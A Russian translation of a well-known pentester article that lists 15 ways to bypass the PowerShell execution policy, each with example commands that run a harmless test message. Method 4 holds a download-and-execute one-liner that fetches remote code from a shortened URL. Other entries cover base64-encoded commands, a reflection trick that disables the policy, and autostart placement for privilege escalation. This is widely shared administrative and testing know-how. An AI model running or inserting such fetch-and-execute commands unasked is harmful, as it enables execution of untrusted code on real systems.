15 способов обойти политику выполнения PowerShell (PowerShell Execution Policy)

15 Ways to Bypass the PowerShell Execution PolicyДанный материал является переводом оригинальной статьи "NetSPI : Scott Sutherland : 15 Ways to Bypass the PowerShell Execution Policy".

По умолчанию PowerShell настроен на предотвращение выполнения сценариев PowerShell в системах Windows. Это может быть препятствием для пентестеров, системных администраторов и разработчиков, но это не обязательно. В этой статье я расскажу о 15 способах обхода политики выполнения PowerShell, не имея прав локального администратора в системе. Я уверен, что есть много методов, которые я пропустил (или просто не знаю), но надеюсь, что эта шпаргалка станет хорошим началом для тех, кто нуждается в получении информации о методах обхода.

Что такое политика выполнения PowerShell?

Политика выполнения PowerShell - это параметр, который определяет, какой тип сценариев PowerShell (если они есть) можно запустить в системе. По умолчанию установлено значение "Restricted (Ограничено)", что в основном означает "нет". Однако важно понимать, что этот параметр никогда не предназначался для контроля безопасности. На самом деле он был предназначен для того, чтобы администраторы "не стреляли себе в ногу". Вот почему есть так много вариантов, чтобы обойти этот механизм (в том числе включая несколько вариантов, которые предоставила Microsoft). Для получения дополнительной информации о параметрах политики выполнения и других элементах безопасности по умолчанию в PowerShell я предлагаю прочитать интересный обзор в блоге Карлоса Переса.

 

Почему я хочу обойти политику выполнения?

Автоматизация кажется одним из наиболее распространенных ответов, которые я слышу от людей, но ниже приведены несколько других причин, по которым PowerShell стал настолько популярным среди администраторов, пентестеров и хакеров.

PowerShell - это:

  • Нативный для Windows механизм;
  • Возможность вызова Windows API;
  • Возможность запуска команд без записи на диск;
  • Возможность избежать обнаружения антивирусным ПО;
  • Уже отнесён как "доверенный" в "белых" списках большинства приложений;
  • Среда, используемая для написания множества инструментов Pentest с открытым исходным кодом.

 

Как просмотреть политику выполнения

Прежде чем использовать все замечательные функции, которые может предложить PowerShell, придется обойти "ограниченную" политику выполнения. Вы можете посмотреть текущую конфигурацию с помощью команды PowerShell "Get-ExectionPolicy". Если вы смотрите на настройку в первый раз, скорее всего, она установлена на "Restricted", как показано ниже.

Get-ExecutionPolicy

PowerShell Get-ExecutionPolicy

Стоит также отметить, что политика выполнения может быть установлена на разных уровнях в системе. Чтобы просмотреть их список, используйте команду Set-ExecutionPolicy.

Get-ExecutionPolicy -List | Format-Table -AutoSize

PowerShell Execution Policy

 

Примечания по настройке лаборатории

В приведенных ниже примерах я буду использовать скрипт с именем runme.ps1, который содержит следующую команду PowerShell для записи сообщения в консоль:

Write-Host "My voice is my passport, verify me."

Когда я пытаюсь выполнить его в системе, настроенной с помощью политики выполнения по умолчанию, я получаю следующую ошибку.

PS cant run script

Если ваша текущая политика слишком открыта, и вы хотите сделать ее более строгой, чтобы протестировать приведенные ниже методы, запустите команду из консоли администратора PowerShell:

Set-ExecutionPolicy Restricted

Хорошо, хватит болтовни, ниже приведены 15 способов обойти ограничения политики выполнения PowerShell.

 

Обход политики выполнения PowerShell

1. Вставка сценария в интерактивную консоль PowerShell

Скопируйте и вставьте сценарий PowerShell в интерактивную консоль, как показано ниже. Однако имейте в виду, что вы будете ограничены привилегиями вашего текущего пользователя. Это самый простой пример, который может быть полезен для запуска быстрых сценариев, когда у вас есть интерактивная консоль. Кроме того, этот метод не приводит к изменению конфигурации и не требует записи на диск

Paste the Script into an Interactive PS Console

 

2. Отправка сценария в PowerShell через Echo

Просто добавьте ваш сценарий (ECHO) в стандартный ввод PowerShell. Этот метод не приводит к изменению конфигурации и не требует записи на диск.

Echo Write-Host "My voice is my passport, verify me." | PowerShell.exe -noprofile -

Echo the Script and Pipe it to PS Standard In

 

3. Считывание скрипта из файла и отправка в стандартный ввод PowerShell

Используйте команду "type" для Windows или PowerShell "Get-Content", чтобы прочитать сценарий с диска и направить его в стандартный ввод PowerShell. Этот метод не приводит к изменению конфигурации, но требует записи вашего скрипта на диск. Однако вы можете прочитать его с общего сетевого ресурса, если пытаетесь избежать записи на локальный диск.

Пример 1: команда Get-Content PowerShell

Get-Content .\runme.ps1 | PowerShell.exe -noprofile -

Read PS Script from a File and Pipe to Standard In

Пример 2: команда Type

TYPE .\runme.ps1 | PowerShell.exe -noprofile -

Read Script from a File with TYPE and Pipe to PS

 

4. Скачивание скрипта из URL и выполнение с выражением Invoke

Этот метод можно использовать для загрузки сценария PowerShell из Интернета и его запуска без необходимости записи на диск. Это также не приводит к изменениям конфигурации.

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"

Download Script from URL and Execute with Invoke Expression

 

5. Использование опции -Command

Этот метод очень похож на выполнение скрипта с помощью копирования и вставки, но это можно сделать без интерактивной консоли. Это удобно для простого выполнения сценария, но более сложные сценарии обычно заканчиваются ошибками синтаксического анализа. Этот метод не приводит к изменению конфигурации и не требует записи на диск.

Пример 1: Полная команда

Powershell -command "Write-Host 'My voice is my passport, verify me.'"

Use the Command Switch

Пример 2: Короткая команда

Powershell -c "Write-Host 'My voice is my passport, verify me.'"

Также стоит отметить, что вы можете поместить эти типы команд PowerShell в командные файлы и поместить их в места автозапуска (например, в папку автозагрузки всех пользователей), чтобы помочь во время повышения привилегий.

 

6. Использование опции -EncodedCommand

Это очень похоже на предыдущую опцию "-Command", но все сценарии предоставляются в виде строки в кодировке Unicode/base64. Такое кодирование вашего сценария помогает избежать всех тех неприятных ошибок синтаксического анализа, с которыми вы сталкиваетесь при использовании "-Command". Этот метод не приводит к изменению конфигурации и не требует записи на диск. Образец ниже взят из Posh-SecMod. Этот же инструментарий включает в себя приятный небольшой метод сжатия, позволяющий уменьшить размер закодированных команд, если они становятся слишком длинными.

Пример 1: Полная команда

$command = "Write-Host 'My voice is my passport, verify me.'" 
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command) 
$encodedCommand = [Convert]::ToBase64String($bytes) 
powershell.exe -EncodedCommand $encodedCommand

Use the EncodeCommand Switch

Пример 2: Короткая команда с использованием закодированной строки

powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA

 

7. Использование команды Invoke-Command

Это забавная опция, с которой я столкнулся в блоге Obscuresec. Обычно он выполняется через интерактивную консоль PowerShell или один вкладыш с помощью опции "-Command". Но интересно то, что его можно использовать для выполнения команд на удаленных системах, в которых включено удаленное взаимодействие PowerShell. Этот метод не приводит к изменению конфигурации и не требует записи на диск.

Invoke-Command -scriptblock {Write-Host "My voice is my passport, verify me."}

Use the Invoke-Command Command

Приведенная ниже команда также может быть использована для получения политики выполнения с удаленного компьютера и ее применения на локальном компьютере.

Invoke-Command -computername Server01 -scriptblock {get-executionpolicy} | Set-executionpolicy -force

 

8. Использование команды Invoke-Expression

Это еще один способ, который обычно выполняется через интерактивную консоль PowerShell или однострочник с помощью опции "-Command". Этот метод не приводит к изменению конфигурации и не требует записи на диск. Ниже я перечислил несколько распространенных способов использования выражения-выражения для обхода политики выполнения.

Пример 1: Полная команда с использованием Get-Content

Get-Content .\runme.ps1 | Invoke-Expression

Use the Invoke-Expression Command

Пример 2: Короткая команда с использованием Get-Content

GC .\runme.ps1 | iex

 

9. Использование флага политики выполнения "Bypass"

Это хороший флаг, добавленный Microsoft, который будет обходить политику выполнения, когда вы выполняете сценарии из файла. Когда этот флаг используется, Microsoft заявляет, что "Ничто не заблокировано и нет предупреждений или подсказок". Этот метод не приводит к изменению конфигурации и не требует записи на диск.

PowerShell.exe -ExecutionPolicy Bypass -File .\runme.ps1

Use the Bypass Execution Policy Flag

 

10. Использование флага политики выполнения "Unrestricted"

Это похоже на флаг "Bypass". Однако, когда этот флаг используется, Microsoft заявляет, что "загружает все файлы конфигурации и запускает все сценарии. Если вы запускаете неподписанный скрипт, который был загружен из Интернета, вам будет предложено разрешение перед его выполнением". Этот метод не приводит к изменению конфигурации и не требует записи на диск.

PowerShell.exe -ExecutionPolicy UnRestricted -File .\runme.ps1

Use the Unrestricted Execution Policy Flag

 

11. Использование флага политики выполнения "Remote-Signed"

Создайте сценарий и следуйте инструкциям, написанным Карлосом Пересом, чтобы подписать его. Наконец, запустите его, используя команду ниже:

PowerShell.exe -ExecutionPolicy Remote-signed -File .\runme.ps1

 

12. Отключение ExecutionPolicy с заменой AuthorizationManager

Это действительно творческий способ, с которым я столкнулся на nivot.org. Приведенную ниже функцию можно выполнить через интерактивную консоль PowerShell или с помощью опции "-Command". Как только функция вызывается, она заменяет "AuthorizationManager" на Null. В результате политика выполнения, по существу, устанавливается неограниченной на оставшуюся часть сеанса. Этот метод не приводит к постоянному изменению конфигурации и не требует записи на диск. Тем не менее, это изменение будет применяться в течение всего сеанса.

function Disable-ExecutionPolicy {
($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))
}
Disable-ExecutionPolicy  
.\runme.ps1

Disable ExecutionPolicy by Swapping out the AuthorizationManager

 

13. Установка ExcutionPolicy для области действия Process

Как мы видели во введении, политика выполнения может применяться на многих уровнях. Это включает в себя процесс, который вы контролируете. Используя эту технику, политика выполнения может быть установлена неограниченно на время вашей Сессии. Кроме того, это не приводит к изменению конфигурации и не требует записи на диск. Первоначально я нашел эту технику в блоге r007break.

Set-ExecutionPolicy Bypass -Scope Process

Set the ExcutionPolicy for the Process Scope

 

14. Установка ExcutionPolicy для области действия CurrentUser с помощью команды

Этот параметр аналогичен области действия процесса, но постоянно применяет этот параметр к среде текущего пользователя, изменяя раздел реестра. Кроме того, это не приводит к изменению конфигурации и не требует записи на диск. Первоначально я нашел эту технику в блоге r007break.

Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted

Set the ExcutionPolicy for the CurrentUser Scope via Command

 

15. Установка ExcutionPolicy для области CurrentUser через реестр

В этом примере я показал, как постоянно изменять политику выполнения для среды текущего пользователя, напрямую изменяя раздел реестра.

HKEY_CURRENT_USER\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell

Set the ExcutionPolicy for the CurrentUser Scope via the Registry

 

Подведение итогов

Ключевым моментом этой стати является то, что политика выполнения не должна быть препятствием для разработчиков, администраторов или пентестеров. Microsoft никогда не позиционировала этот механизм для контроля безопасности. Именно поэтому существует такое множество вариантов обхода данного механизма. Помимо того, что сама Microsoft предоставила некоторые нативные варианты, сообщество безопасности также придумало некоторые оригинальные трюки. Спасибо всем тем людям, которые внесли в это свой вклад через блоги и презентации.

Добавить комментарий